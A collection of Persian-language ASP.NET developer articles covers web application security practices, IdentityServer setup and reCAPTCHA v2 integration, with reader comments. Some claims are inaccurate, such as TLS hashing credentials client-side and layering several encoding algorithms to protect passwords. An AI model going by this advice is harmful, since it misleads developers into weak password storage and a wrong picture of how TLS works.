- لاگ کردن ورود و خروج افراد به همراه تاریخ، زمان، آی پی افراد و وضعیت لاگین. با کمک این موضوع شما می‌توانید ورود و خروج کاربران نرم افزار خود را کنترل نمایید و موارد غیر طبیعی و مشکوک را در سریعترین زمان مورد بررسی قرار دهید.

- استفاده از روال‌های استاندارد جهت بخش "فراموشی کلمه عبور". همیشه از استاندارهای نرم افزارهای بزرگ پیروی نمایید. بدیهی است استاندارهای استفاده شده در این نرم افزارها بارها و بارها تست شده و سپس بعنوان یک روال استاندارد در همه‌ی نرم افزارهای بزرگ بکار گرفته شده است. استاندارد جهانی بخش "فراموشی کلمه عبور" که در اغلب نرم افزارهای معروف جهان بکار گرفته شده است، عبارت است از دریافت آدرس ایمیل کاربر، احراز هویت ایمیل وارد شده، ارسال یک نامه‌ی الکترونیکی [8] حاوی نام کاربری و لینک تنظیم کلمه عبور جدید به ایمیل کاربر. بهتر است لینک ارسال شده به ایمیل کاربر بصورت یکبار مصرف باشد. کاربر پس از کلیک بر روی لینک تنظیم کلمه عبور جدید، وارد یکی از صفحات سایت شده و می‌تواند کلمه‌ی عبور جدیدی را برای خود ثبت نماید. در پایان، کاربر به صفحه‌ی ورود سایت هدایت شده و پیامی مبنی بر موفقیت آمیز بودن عملیات تغییر کلمه‌ی عبور به او نمایش داده می‌شود. البته روال ذکر شده حداقل رول استانداردی می‌باشد و می‌توان در کنار آن از روال‌های تکمیل کننده‌ای مانند پرسش‌های امنیتی و غیره نیز استفاده نمود.

- قراردادن امکاناتی جهت بلاک نمودن آی پی‌ها و غیر فعال نمودن حساب کاربری اعضای سایت. در نرم افزار باید این امکان وجود داشته باشد که آی پی هایی که بصورت غیر طبیعی در سایت فعالیت می‌نمایند و یا مکررا اقدام به ورود به پنل مدیریتی و پنل کاربران می‌نمایند را بلاک نماییم. همچنین در صورت تخلف کاربران باید بتوان حساب کاربری کاربر خاطی را مسدود نمود. این موضوع می‌تواند بسته به اندازه پروژه و یا سلیقه تیم توسعه بصورت خودکار، دستی و یا هر دو روش در نرم افزار در تعبیه شود.

- امن سازی سرویس‌های ای جکس و چک کردن ای جکس بودن درخواست ها. حتما جلوی اجرای سرویس‌های درون نرم افزاری از بیرون از نرم افزار را بگیرید. سرویس‌های ای جکس یکی از این نوع سرویس‌ها می‌باشند که در نرم افزارها جهت استفاده‌های داخلی در نظر گرفته می‌شوند. در این نوع سرویس‌ها حتما نوع درخواست را بررسی نمایید و از پاسخگویی سرویس‌ها به درخواست‌های غیر ای جکسی جلوگیری نمایید. در ASP.Net MVC این امر توسط متد Request.IsAjaxRequest انجام می‌پذیرد .

- محدود کردن سرویس‌های حساس به درخواست‌های POST. حتما از دسترسی به سرویس هایی از نوع Insert,Update و Delete از طریق فعل GET جلوگیری نمایید. در ASP.Net MVC این سرویس‌ها را به فعل POST محدود نموده و در ASP.Net Web API این سرویس‌ها را به افعال POST,PUT و DELETE محدود نمایید.

- عدم استفاده از آی دی در پنل‌های کاربران بالاخص در آدرس صفحات (کوئری استرینگ) و استفاده از کد غیر قابل پیش بینی مثل GUID به جای آن. حتی الامکان بررسی مالکیت داده‌ها در همه بخش‌های پنل‌های کاربری سایت را جهت محکم کاری بیشتر انجام دهید تا خدای نکرده کاربر با تغییر اطلاعات کوئری استرینگ صفحات نتوانند به داده‌های یک کاربر دیگه دسترسی داشته باشند.

- حتی الامکان پنل مدیران را از کاربران بصورت فیزیکی جدا نمایید. این مورد جهت جلوگیری از خطاهایی است که ممکن است

توسط توسعه دهنده در سطح سیستم مدیریت نقش رخ دهد و موجب دسترسی داشتن کاربران به بخش هایی از پنل مدیریتی شود.

- استفاده از الگوریتم‌های کدگذاری ترکیبی و کد کردن اطلاعات حساس قبل از ذخیره سازی در بانک اطلاعاتی. اطلاعات حساسی مانند کلمات عبور را حتما توسط چند الگوریتم کدگذاری، کدگذاری نمایید و سپس درون بانک اطلاعاتی ذخیره نمایید.

- تنظیمات حساس نرم افزار را درون فایل web.config قرار دهید و حتی الامکان آنها را نیز کدگذاری نمایید . بصورتی که اطلاعات قابلیت دیکد شدن را داشته باشند.

- ساخت پروژه بصورت چند لایه. این موضوع جهت جلوگیری از دستیابی هکر به ساختار لایه‌های پروژه‌های شما می‌باشد. به بیان دیگر اگر نهایتا هکر بتواند به اطلاعات FTP هاست شما دست یابد، استفاده از تکنولوژی چند لایه در بدترین حالت هکر را از دستیابی به اطاعات لایه‌های زیرین نرم افزار باز می‌دارد. البته این کار برای هکرها غیر ممکن نیست، اما بسیار سخت و زمان بر می‌باشد.

- اشتراک گذاری اینترفیس در سرویس‌های خارج برنامه ای و عدم اشتراک گذاری کلاس اصلی. این موضوع از دستیابی هکر به بدنه سرویس‌ها و پیاده سازی‌های آنها جلوگیری می‌نماید.

- استفاده از تکنیک‌های مقابله با CSRF در همه سرویس‌های POST. در ASP.NET MVC اتریبیوتی با نام AntiForgery جهت مقاوم سازی سرویس‌ها از حملات CSRF وجود دارد. مکانیزم بدین صورت است که در تمامی فرم‌های سایت یک کد منحصر به فرد تولید می‌گردد که همراه درخواست GET به کامپیوتر کاربر ارسال می‌شود و در هنگام ارسال درخواست POST به سرور، صحت کد مورد نظر بررسی شده و در صورت صحت، اجازه‌ی اجرای سرویس به درخواست داده می‌شود. بدین صورت وقتی کاربر سایت شما فایل آلوده‌ای را باز می‌نماید، در خواست ارسالی هکر که توسط فایل باز شده، به سرور سایت ما ارسال می‌گردد، فاقد کد منحصر به فرد بوده و از اجرای سرویس جلو گیری می‌شود.

- استفاده از سیستم‌های مدیریت نقش امن مانند IDENTITY در ASP.Net MVC و یا استفاده از امکانات توکار دات نت در سیستم‌های مدیریت نقش شخصی سازی شده [9] . بدیهی است امنیت این سیستم‌ها بارها و بارها تست شده است.

- بررسی فرمت و پسوند فایل‌های آپلود شده. توجه نمایید که بررسی پسوند فایل‌ها کافی نبوده و فرمت فایل‌ها نیز می‌بایست بررسی شود. حتی نویسنده پیشنهاد می‌نماید فایل‌ها را به نوع‌های مرتبطشان تبدیل [10] نمایید. در حوزه هک باینده نمودن انواع ویروس، تروجان، شل و بک دور [11] به فایل‌های تصویری و متنی یک امر بسیار رایج است. بنابراین حساسیت زیادی روی این موضوع قرار دهید. نویسنده توصیه می‌نماید کتابخانه‌های کاملی برای این موضوع تدارک ببینید تا در تمامی پروژه‌ها نیاز به ایجاد مجدد آنها نداشته باشید و سعی نمایید در هر پروژه این کتابخانه‌ها را تکمیل‌تر و بهتر نمایید.

- تنظیم IIS جهت جلوگیری از اجرای فایل‌های اجرایی در مسیر آپلود فایل‌ها. شاید جمله بیان شده به نظر ترسناک و یا سخت برسد، اما این کار با نوشتن چند تگ ساده در فایل Web.Config به راحتی قابل انجام است و نیاز به هیچ نوع کدنویسی ندارد.

- آپلود فایل‌ها در پوشه App_Data و دسترسی به فایل‌ها از طریق سرویس‌های خود شما. پوشه App_Data پوشه‌ای امن است و دسترسی مستقیم از طریق آدرس بار مرورگر به فایل‌های درون آن توسط IIS داده نمی‌شود و افراد فقط از طریق سرویس‌های خود شما می‌توانند به فایل‌های داخل این پوشه دسترسی داشته باشند. بدین صورت در سرویس‌های خود می‌توانید با تبدیل نمودن [12] فایل‌ها به نوع خودشان (تصویر. پی دی اف یا ...) هکر را نا امید نمایید. این موضوع شما را در مقابل حملات SHELL مقاوم می‌نماید.

- استفاده از تکنیک‌های لاگین چند سطحی برای پنل ادمین. در این روش شما حتی با داشتن نام کاربری و کلمه‌ی عبور ادمین، قادر نخواهید بود وارد پنل ادمین شوید. نویسنده ابزار می‌دارد که این روش، یک روش ابداعی می‌باشد که از ترکیبی از احرا هویت ساده توسط نام کاربری و کلمه‌ی عبور به همراه تکنیک‌های احراز هویت ایمیل و موبایل مدیریت سایت می‌باشد.

- استفاده از SSL بسیار اهمیت دارد. بالاخص اگر نرم افزار شما Service Oriented باشد و نرم افزار شما سرویس هایی جهت اتصال به اپلیکیشن‌های خارجی مثل اپلیکیشن اندروید دارد. این مورد در صفحات لاگین نیز بسیار مهم است و موجب می‌شود نام کاربری و کلمه عبور کاربران شما بصورت هش شده بین کامپیوتر کاربر و سرور شما رد و بدل شود و عملا شنود پکت‌ها فایده ای برای هکر نخواهد داشت، زیرا داده‌ها توسط الگوریتم‌های امنیتی که بین سرور و مرورگر کاربران توافق می‌شود کدگذاری شده و سپس رد و بدل می‌شوند.

Back Door [1]

/https://www.nuget.org/packages/AntiXss [2]

www. Nuget.org [3]

Query String [4]

Casting [5]

[6] Procedure

[7] Routing

[8] Email

[9] Custom Role Provider

[10] Cast

[11] Back Door

[12] Cast

نظرات خوانندگان

نویسنده: امیر هاشم زاده
تاریخ: ۱۳۹۴/۰۵/۱۰ ۲۲:۴۳

یک اکستنشن مناسب جهت محافظت از حملات Denial of Service و Brute-force. این روش هم در سال‌های گذشته توسط استک‌اورفلو استفاده می‌شده.

نویسنده: امیر هاشم زاده
تاریخ: ۱۳۹۴/۰۵/۱۰ ۲۳:۴۴

در روش استک اورفلو جهت نال نبودن کلید کش هر دو متغیر HTTP_X_FORWARDED_FOR و REMOTE_ADDR رو بررسی کنید.

نویسنده: غلامرضا ربال
تاریخ: ۱۳۹۴/۰۵/۱۱ ۰:۱۴

ظاهرا مشکلاتی هم دارد این روش .
این کتابخانه هم جالب بود

نویسنده: مصطفی حسن زاده
تاریخ: ۱۳۹۴/۰۵/۱۱ ۱۰:۱۷

در رابطه با **حمله SNIFF** میشه بیشتر توضیح بدی؟

نویسنده: ح مراداف
تاریخ: ۱۳۹۴/۰۵/۲۳ ۱۴:۲

با سلام،
در این روش هکر خودش رو توی مسیر ورود و خروج پکت‌های سرور قرار میده و با کمک ابزارهایی پکت‌های ورودی و خروجی سرور رو شنود می‌کنه و اطلاعات رو ذخیره می‌کنه.
در این موارد اطلاعات حساسی مثل نام کاربری و کلمه عبور کاربران ک هدر صفحات ورود و یا حتی ثبت نام که بصورت Clear Text به سرور ارسال میشن، به راحتی در اختیار هکر قرار می‌گیرن.
بهترین راه حل مقابله با این قضیه استفاده از SSL روی سایت است. بدین صورت وقتی کاربر وارد یکی از صفحات سایت شما میشه، سرور یک پروتوکل امنیتی رو با مرورگر کاربر به اشتراک می‌گذاره و مرورگر کاربر متوجه میشه که باید بر اساس پروتکلی که دریافت کرده داده‌های ارسالیش رو در سمت کلاینت هش کنه و بعد برای سرور ارسال کنه. این روش امنیت بسیار بالایی داره.

عنوان: IdentityServer قسمت اول
نویسنده: ناصرنیازی
تاریخ: ۱۳۹۴/۰۵/۲۸ ۱۸:۰
آدرس: www.dotnettips.info
گروه‌ها: Security, OpenID, ASP.NET Identity, IdentityServer, OAuth2

استفاده از سرویس‌های متنوع گوگل همگی با یک آکانت واحد، ایده‌ی جالبی است که پایه‌ی ایجاد پروژه‌ای به نام IdentityServer بوده است. IdentityServer یک پروژه‌ی متن باز است که قرار بود و شاید هنوز هم هست که بخشی از ویژوال استودیو باشد.

این پروژه یک سرور واحد برای مدیریت هویت ایجاد می‌کند که تمام کلاینت‌ها از این سرور اهراز هویت شده و سپس از سرویس‌ها استفاده می‌کنند. یعنی بخش مدیریت هویت تمام کاربران در پروژه برعهده‌ی IdentityServer گذاشته می‌شود و همه‌ی برنامه‌ها هویت کاربران را از IdentityServer می پرسند.
تصویری که توسعه دهندگان این پروژه برای معماری پروژه خود ارائه داده‌اند:

برای استفاده از آی‌دنتیتی‌سرور، ابتدا آن را از مخزن گیت‌هاب، بارگذاری می‌کنیم و سپس برای پروژه، یک Application جدید در IIS ایجاد می‌کنیم.
دقت داشته باشید که IdentityServer از SSL و بستر امن استفاده می‌کند که تنظیمات ساخت Certificate را می‌توانید از اینجا فرا بگیرید.
با توجه به پشتیبانی گسترده‌ی این پروژه از OpenID و OAuth2 مطالعه‌ای مختصر در این موارد به درک فرایند اهراز هویت توسط آی دنتیتی سرور بسیار کمک خواهد کرد.
پس از راه اندازی SSL و تنظیمات Certificate مربوط به آن می‌توانید شروع به راه اندازی سرور خود کنید. راه اندازی اولیه سرور تنظیمات مربوط به بانک اطلاعاتی، نکات ریزی دارد که بخش کلی از آن اینجا آمده است.
برای شروع به استفاده از سرور و درک چگونگی عملکرد آن نیاز دارید تا مدیر سرور را نصب کنید؛ تا هم بتوانید کاربر تعریف کنید و هم نقش‌ها (Roles) و دسترسی‌ها را مدیریت کنید. نگارش مدیر آی‌دنتیتی‌سرور نیز از اینجا قابل دسترسی می‌باشد.
پس از نصب آی‌دنتیتی‌سرور باید تنظیمات مربوط به ذخیره سازی اطلاعات آن را انجام دهید که آی‌دنتیتی‌سرور پیاده سازی خوبی برای Entity Framework دارد که می‌توانید با نصب آن همه‌ی کارهای ذخیره سازی در بانک اطلاعاتی را به EF بسپارید. البته برای

ذخیره‌ی یوزر می‌توان از حالت InMemory هم استفاده کرد که در نسخه‌ی مثال یک کاربر با نام bob و رمز bob در داخل کد نویسی تعریف شده بود، که می‌توان برای پروژه‌های کوچک همان را توسعه داد.

در سطح بانک هم آی‌دنتیتی‌سرور از دو بانک اطلاعاتی، استفاده می‌کند؛ یکی برای ذخیره‌ی تنظیمات سرور و دیگری برای ذخیره‌ی اطلاعات هویتی.

مزیت بزرگ آی‌دنتیتی‌سرور در اعتبار سنجی جدای از پیاده سازی‌های فراوان انجام شده برای محیط‌های مختلف و در قابلیت اعتبار سنجی دو طرفه‌ی آن می‌باشد.

یعنی هم سمت سرور و هم سمت کلاینت و هم سرویس‌هایی که از آی‌دنتیتی‌سرور استفاده می‌کنند، باید اعتبار سنجی شوند و همه چیز به یک رمز و نام کاربری ساده خلاصه نمی‌شود.

در زمان نگارش این متن، نسخه‌ی 2 نسخه‌ی پایدار ارائه شده است و نسخه‌ی سه در مرحله تست می‌باشد. البته پیاده سازی‌هایی هم از نسخه‌ی 3 در محیط‌های مختلف مثل MVC و WEB API ارائه شده است؛ ولی هنوز به پایداری لازم نرسیده است.

نظرات خوانندگان

نویسنده: مسعود دانش پور
تاریخ: ۱۳۹۴/۰۵/۳۰ ۲۲:۳۳

من سه سالی هست دارم سعی می‌کنم این پروژه رو نهایی کنم.ولی هنوز به دلیل مشغله زیاد موفق نشدم.

عنوان: **IdentityServer قسمت دوم**
نویسنده: ناصرنیازی
تاریخ: ۱۳۹۴/۰۶/۰۳ ۱:۰
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, Security, ASP.NET Identity, IdentityServer

پس از تلاش‌های اولیه برای راه اندازی که نیاز به گوگل کردن موارد مختلف دارد از جمله راه اندازی ssl و certification در لوکال هاست و تنظیم IIS برای استفاده از آن، می‌توان به راه اندازی اولیه آی‌دن‌تی‌تی سرور رسید .
پیش فرض این آموزش این نسخه از آی دنتیتی سرور است :
https://github.com/IdentityServer/IdentityServer2

نگاهی اجمالی به سورس: IdentityServer2

```
Sampel----
```

```
AdfsIntegrationFullSample --------
```

```
AdfsIntegrationSampleClient --------
```

```
InMemoryHost --------
```

```
(MVC and WCF RP (SAML --------
```

```
(MVC and Web API (JWT --------
```

```
MembershipRebootUserRepository --------
```

```
OIDC --------
```

```
SelfHostConsoleHost --------
```

```
ServiceBus Integration --------
```

```
src----
```

```
Libraries --------
```

```
WebSite --------
```

```
Tests --------
```

از نام مثال‌ها کاملاً مشخص است که هر کدام چه بخشی را پوشش می‌دهند.
مثلاً پوشه‌ی MembershipRebootUserRepository، مربوط به مدیریت کاربران است و توابع غنی بسیار خوبی در آن استفاده شده‌است. خود MembershipReboot یک پروژه‌ی دیگر است برای مدیریت کاربران که توسط BrockAllen توسعه داده شده و مدیریت کاربران را بسیار آسان کرده‌است؛ برای مثال به راحتی می‌توان

```
BrockAllen.MembershipReboot
BrockAllen.MembershipReboot.Ef
BrockAllen.MembershipReboot  .Repository
```

از این آدرس را به سورس اصلی آی دنتیتی سرور اضافه کرد و از توابع مدیریت کاربران این پروژه استفاده کرد. چون کار را بسیار آسان کرده است.
برای مثال من برای ایجاد کاربر نیاز داشتم که علاوه بر درج کاربر در سرور آی دنتیتی، در بانک اطلاعاتی خودم هم کاربر درج شود. برای همین برای آی دنتیتی سرور صفحه‌ی ثبت نام نوشتم. برای اینکار فقط با یک شیء از membership به راحتی این تابع پیاده سازی شد:

```
Membership.CreateUser(userName, password, email);
          Roles.AddUserToRoles(userName, "IdentityServerUsers");
```

نمونه استفاده

این افزودن کاربر را می‌توان از هسته‌ی اصلی خود آی دنتیتی سرور استفاده کرد. ولی استفاده از آن به علت راحت بودن و توابع خیلی زیاد BrockAllen.MembershipReboot است و استفاده از آن بسیار کاربردی می‌تواند باشد.

برای استفاده از خود آی دنتیتی سرور برای ساخت یوزر، وارد قسمت سورس شوید و به کنترلر احراز هویت، یک تابع به نام رجیستر اضافه کنید؛ به این فایل:

https://github.com/IdentityServer/IdentityServer2/blob/master/src/OnPremise/WebSite/Controller/AccountController.cs

شکل تابع :

```
[HttpPost]
public ActionResult Register(RegisterModel model)
 {
         UserRepository.CreateUser(model.userName,model.password,model.email);
         Roles.AddUserToRoles(userName, "IdentityServerUsers");
         return  View(model);
}
```

خود کلاس UserRepository یک کلاس پیاده سازی شده از اینترفیس IUserManagementRepository است که می‌توان خود آن‌را نیز با تزریق وابستگی‌ها تغییر داد و از Membership و بازنویسی توابع قدرتمند MembershipReboot آن استفاده کرد. لیست توابع این اینترفیس که می‌توانید استفاده کنید:

```
void CreateUser(string userName, string password, string email = null);
        void DeleteUser(string userName);

        IEnumerable<string> GetUsers(int start, int count, out int totalCount);
        IEnumerable<string> GetUsers(string filter, int start, int count, out int totalCount);

        void SetPassword(string userName, string password);

        void SetRolesForUser(string userName, IEnumerable<string> roles);
        IEnumerable<string> GetRolesForUser(string userName);

        IEnumerable<string> GetRoles();
        void CreateRole(string roleName);
        void DeleteRole(string roleName);
```

آدرس اینترفیس

عنوان: **استفاده از Re-Captcha**
نویسنده: امیدنصری
تاریخ: ۱۳۹۴/۰۶/۱۰ ۱۹:۱۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, MVC, Security

در اینجا استفاده از re-CAPTCHA برای ASP.Net و در اینجا برای ASP.Net MVC با استفاده از سرویس گوگل نسخه 1 آن آشنا شدید. در این مقاله می‌خواهیم توضیحاتی را در مورد دلیل استفاده و نحوه‌ی ثبت re-CAPTCHA نسخه 2 برای تکنولوژی‌های ASP.Net و ASP.Net MVC ارائه کنیم.

reCAPTCHA **چیست؟** استفاده آسان و امنیت بالا، جمله‌ای می‌باشد که گوگل در سرتیتر تعریف آن جای داده که البته عنوان «من روبات نیستم» در سرویس استفاده شده‌است. reCAPTCHA یک سرویس رایگان برای وب سایت‌های شما در جهت حفظ آن در برابر روبات‌های مخرب است و از موتور تجزیه و تحلیل پیشرفته‌ی تشخیص انسان در برابر روبات‌ها استفاده می‌نماید.
reCAPTCHA را میتوان به صورت ماژول در بلاگ و یا فرم‌های ثبت نام و ... جای داد که فقط با یک کلیک هویت سنجی انجام خواهد شد. گاها ممکن است بجای کلیک از شما سوالی پرسیده شود که در این صورت می‌بایستی تصاویر مرتبط با آن سوال را تیک زده باشید.

دلیل استفاده از reCAPTCHA:

گزارش روزانه از وضعیت موفقیت آمیز بودن هویت سنجی
سهولت استفاده برای کاربران
سهولت استفاده جهت برنامه نویسان
دسترسی پذیری مناسب بدلیل وجود سؤالات تصویری و تلفظ و پخش عبارت بصورت صوتی
امنیت بالا

آیا می‌توان قالب reCAPTCHA را تغییر داد؟
جواب این سوال بله می‌باشد. این سرویس در دو قالب سفید و مشکی ارائه شده‌است که به صورت پیش فرض قالب سفید آن انتخاب می‌شود. در تصویر زیر قالب‌های این سرویس را مشاهده خواهید کرد.

زبان‌های پشتیبانی شده در این سرویس:

Language	Value	Language	Value	Language	Value
Arabic	ar	German (Austria)	de-AT	Portuguese	pt
Bengali	bn	German (Switzerland)	de-CH	Portuguese (Brazil)	pt-BR
Bulgarian	bg	Greek	el	Portuguese (Portugal)	pt-PT
Catalan	ca	Hebrew	iw	Romanian	ro
Chinese (Simplified)	zh-CN	Hindi	hi	Russian	ru
Chinese (Traditional)	zh-TW	Hungarain	hu	Serbian	sr
Croatian	hr	Indonesian	id	Slovak	sk
Czech	cs	Italian	it	Slovenian	sl
Danish	da	Japanese	ja	Spanish	es
Dutch	nl	Kannada	kn	Spanish (Latin America)	es-419
English (UK)	en-GB	Korean	ko	Swedish	sv
English (US)	en	Latvian	lv	Tamil	ta
Estonian	et	Lithuanian	lt	Telugu	te
Filipino	fil	Malay	ms	Thai	th
Finnish	fi	Malayalam	ml	Turkish	tr
French	fr	Marathi	mr	Ukrainian	uk
French (Canadian)	fr-CA	Norwegian	no	Urdu	ur
German	de	Persian	fa	Vietnamese	vi
Gujarati	gu	Polish	pl		

اضافه نمودن reCAPTCHA به سایت:

اگر قبلا در گوگل ثبت نام نموده‌اید کافیست وارد این سایت شوید و بر روی Get reCAPTCHA کلیک نمائید؛ در غیر اینصورت می‌بایستی یک حساب کاربری ایجاد نماید. بعد از ورود، به کنترل پنل هدایت خواهید شد. در نمای اول به تصویر زیر برخورد خواهید کرد که از شما ثبت سایت جدید را خواستار است:

نام، دامنه سایت و مالک را وارد و ثبت نام نماید.

پس از آنکه بر روی دکمه‌ی ثبت نام کلیک نمودید، برای شما دو کلید جدید را ثبت می‌نماید که منحصر به سایت شماست. Site Key رشته ای را داراست که در کدهای HTML قرار خواهد گرفت و کلید بعدی Secret Key می‌باشد. ارتباط سایت شما با گوگل می‌بایستی به صورت محرمانه محفوظ بماند.

گام‌های لازم جهت نمایش سرویس در سایت:

دستورات سمت کاربر

دستورات سمت سرور

دستورات سمت کاربر:

کد زیر را در قبل از بسته شدن تک </head> قرار دهید:

```
<script src='https://www.google.com/recaptcha/api.js'></script>
```

کد زیر را در داخل تگ فرمی که می‌خواهید کپچا نمایش داده شود قرار دهید:

```
<div data-sitekey="6LdHGgwTAAAAAClKFhGthRrjBXh5AUGd4eWNCQq7"></div>
```

نکته: مقدار **data-sitekey** برابر است با رشته **Site Key** که گوگل برای شما ثبت نمود.

دستورات سمت سرور:

وقتی کاربر فرم حاوی کپچا را که به صورت صحیح هویت سنجی آن انجام شده باشد به سمت سرور ارسال کند، به عنوان بخشی از داده‌ی ارسال شده، یک رشته با نام **g-recaptcha-response** با دستور Request دریافت خواهید کرد که به منظور بررسی اینکه آیا گوگل تایید کرده است که کاربر، یک درخواست POST ارسال نموداست. با این پارامترها یک مقدار json برگشت داده خواهد شد که می‌بایستی کلاسی متناظر با آن جهت خواندن ساخته شود.
با استفاده از کد زیر مقدار برگشتی Json را در کلاس مپ می‌نمائیم:

```
using System.Collections.Generic;
using Newtonsoft.Json;

namespace BaseConfig.Security.Captcha
{
    public class RepaptchaResponse
    {
        [JsonProperty("success")]
        public bool Success { get; set; }

        [JsonProperty("error-codes")]
        public List<string> ErrorCodes { get; set; }
    }
}
```

با استفاده از کلاس زیر درخواستی به گوگل ارسال شده و در صورتیکه با خطا مواجه شود با استفاده از دستور switch به آن دسترسی خواهیم یافت.

```
using System.Configuration;
using System.Net;
using Newtonsoft.Json;

namespace BaseConfig.Security.Captcha
{
    public class ReCaptcha
    {
        public static string _secret;

        static ReCaptcha()
        {
            _secret = ConfigurationManager.AppSettings["ReCaptchaGoogleSecretKey"];
        }

        public static bool IsValid(string response)
        {
            //secret that was generated in key value pair
            var client = new WebClient();
            var reply =
client.DownloadString($"https://www.google.com/recaptcha/api/siteverify?secret={_secret}&response={resp
onse}");

            var captchaResponse = JsonConvert.DeserializeObject<RepaptchaResponse>(reply);

            // when response is false check for the error message
            if (!captchaResponse.Success)
            {
                //if (captchaResponse.ErrorCodes.Count <= 0) return View();

                //var error = captchaResponse.ErrorCodes[0].ToLower();
                //switch (error)
                //{
                //    case ("missing-input-secret"):
                //        ViewBag.Message = "The secret parameter is missing.";
                //        break;
                //    case ("invalid-input-secret"):
                //        ViewBag.Message = "The secret parameter is invalid or malformed.";
```

```
                //        break;

                //    case ("missing-input-response"):
                //        ViewBag.Message = "The response parameter is missing.";
                //        break;
                //    case ("invalid-input-response"):
                //        ViewBag.Message = "The response parameter is invalid or malformed.";
                //        break;

                //    default:
                //        ViewBag.Message = "Error occured. Please try again";
                //        break;
                //}
                return false;
            }
            // Captcha is valid
            return true;
        }
    }
}
```

تابع IsValid از نوع برگشتی Boolean بوده و خطایی برگشت داده نخواهد شد و از این جهت به صورت کامنت برای شما گذاشته شده که می‌توان متناظر با کد نویسی آن را تغییر دهید.

در اکشن زیر مقدار response برسی می‌شود تا خالی نباشد و همچنین مقدار آن را می‌توان با استفاده از تابع IsValid در کلاس ReCaptcha به سمت گوگل فرستاد.

```
//
        // POST: /Account/Login
        [HttpPost]
        [AllowAnonymous]
        [ValidateAntiForgeryToken]
        public virtual async Task<ActionResult> Login(LoginPageModel model, string returnUrl)
        {
            var response = Request["g-recaptcha-response"];
            if (response != null && ReCaptcha.IsValid(response))
            {
                //
            }
         }
```

گاها اتفاق می‌افتد که از دستورات Ajax برای ارسال اطلاعات به سمت سرور استفاده می‌شود که در این صورت لازم است بعد از پایان عملیات، کپچا ریفرش گردد. برای این کار می‌توان از دستور جاوا اسکریپتی زیر استفاده نمود. در صورتیکه صفحه Postback شود، کپچا مجددا ریفرش خواهد شد.

```
/**
 *
 * @param {} data
 * @returns {}
 */
function Success(data) {
    grecaptcha.reset();
}
```

تا اینجا موفق شدیم تا فرم ارسالی همراه کپچا را به سمت سرور ارسال کنیم. اما ممکن است در یک صفحه از چند کپچا استفاده شود که در این صورت می‌بایستی دستورات سمت کاربر تغییر نمایند.

برای این کار دستور

```
<div data-sitekey="6LdHGgwTAAAAAClKFhGthRrjBXh5AUGd4eWNCQq7"></div>
```

که در بالا تعریف شد، به شکل زیر تغییر خواهد کرد:

```
<script>
        var recaptcha1;
        var recaptcha2;
        var myCallBack = function () {
            //Render the recaptcha1 on the element with ID "recaptcha1"
            recaptcha1 = grecaptcha.render('recaptcha1', {
                'sitekey': '6Lf9FQwTAAAAAE6XlDqrey24K4xJOPM5nNVBmNO9',
                'theme': 'light'
            });

            //Render the recaptcha2 on the element with ID "recaptcha2"
            recaptcha2 = grecaptcha.render('recaptcha2', {
                'sitekey': '6Lf9FQwTAAAAAE6XlDqrey24K4xJOPM5nNVBmNO9',
                'theme': 'light'
            });

            //Render the recaptcha3 on the element with ID "recaptcha3"
            recaptcha2 = grecaptcha.render('recaptcha3', {
                'sitekey': '6Lf9FQwTAAAAAE6XlDqrey24K4xJOPM5nNVBmNO9',
                'theme': 'light'
            });
        };
    </script>
```

برای نمایش کپچا، تگ‌های div با id متناظر با recaptcha1, recaptcha2, recaptcha3 (در این مثال از سه کپچا در صفحه استفاده شده است) در صفحه قرار خواهند گرفت.

```
<div id="recaptcha1"></div>
<div id="recaptcha2"></div>
<div id="recaptcha3"></div>
```

کار ما تمام شد. حال اگر پروژه را اجرا نمائید، در صفحه سه کپچا مشاهده خواهید کرد.

چند زبانه کردن کپچا: برای چند زبانه کردن کافیست با مراجعه به این لینک و یا استفاده از تصویر بالا (زبان‌های پشتیبانی) مقدار آن زبان را برابر با پراپرتی hl که به صورت کوئری استرینگ برای گوگل ارسال می‌گردد، استفاده نمود. کد زیر نمونه‌ی استفاده شده برای زبان‌های انگلیسی و فارسی می‌باشد که با ریسورس مقدار دهی می‌شود.

```
<script
src='https://www.google.com/recaptcha/api.js?hl=@(App_GlobalResources.CP.CurrentAbbrivation)'></script>
```

در صورتی که از فایل ریسوس استفاده نمی‌کنید می‌توان به صورت مستقیم مقدار دهی نمائید:

```
<script src='https://www.google.com/recaptcha/api.js?hl=fa'></script>
```

برای دوستانی که با تکنولوژی ASP.Net کار می‌کنند، این روال هم برای آنها هم صادق می‌باشد.

برای دریافت پروژه اینجا کلیک نمائید.

نظرات خوانندگان

نویسنده: مهدی اسلامی
تاریخ: ۱۳۹۴/۰۶/۱۳ ۱۶:۵۹

سلام ممنون بابت مطلب مفیدتون.
در صورتی بخوایم نوع فونت و یا تغییرات دیگه رو اعمال کنیم چگونه باید عمل کنیم؟ با CSS و Jquery موفق نشدم همچین کاری کنم، راهی واسش وجود داره؟

نویسنده: امیدنصری
تاریخ: ۱۳۹۴/۰۶/۱۳ ۲۱:۱۵

نکته: پلاگین هویت سنجی در تگ iframe لود خواهد شد.
لینک‌های زیر را دنبال کنید:
https://developers.google.com/recaptcha/docs/display
http://stackoverflow.com/questions/27713505/recaptcha-api-v2-styling

عنوان: **اعتبارسنجی درخواست های $http با استفاده از یک Interceptor**
نویسنده: محمود راستین
تاریخ: ۱۳۹۴/۰۶/۱۱ ۱۰:۰
آدرس: www.dotnettips.info
گروه‌ها: JavaScript, MVC, Security, AngularJS, ASP.NET Identity

پیش نیاز :

هدایت خودکار کاربر به صفحه لاگین در حین اعمال Ajax ایی
Angular Interceptors

ابتدا مشکل و هدف را بیان می‌کنیم:

مشکل : کاربر در صفحه‌ای حضور دارد که نیاز به اعتبارسنجی داشته و مدت اعتبار کاربر نیز تمام شده است، ولی هنوز در صفحه‌ای که نباید حضور داشته باشد، حضور دارد و بدتر از آن این است که می‌تواند درخواست‌های بی نتیجه‌ای را نیز ارسال کند.
هدف : کاربر را سریعا به صفحه‌ای که به آن تعلق دارد هدایت کنیم (یعنی صفحه‌ی ورود به سیستم).

و حالا از ابتدا پروسه را دنبال می‌کنیم. یک Controller سمت سرور داریم به این صورت :

```
[Authorize(Roles = AuthorizeRole.SuperAdministrator)]
    public partial class HomeController : Controller
    {
        [HttpPost]
        [AngularValidateAntiForgeryToken]
        public virtual JsonResult GetUserInfo()
        {
            var userInfoViewModel = _applicationUserManager.GetUserInfoById(User.Identity.GetUserId());
            return Json(userInfoViewModel);
        }
    }
```

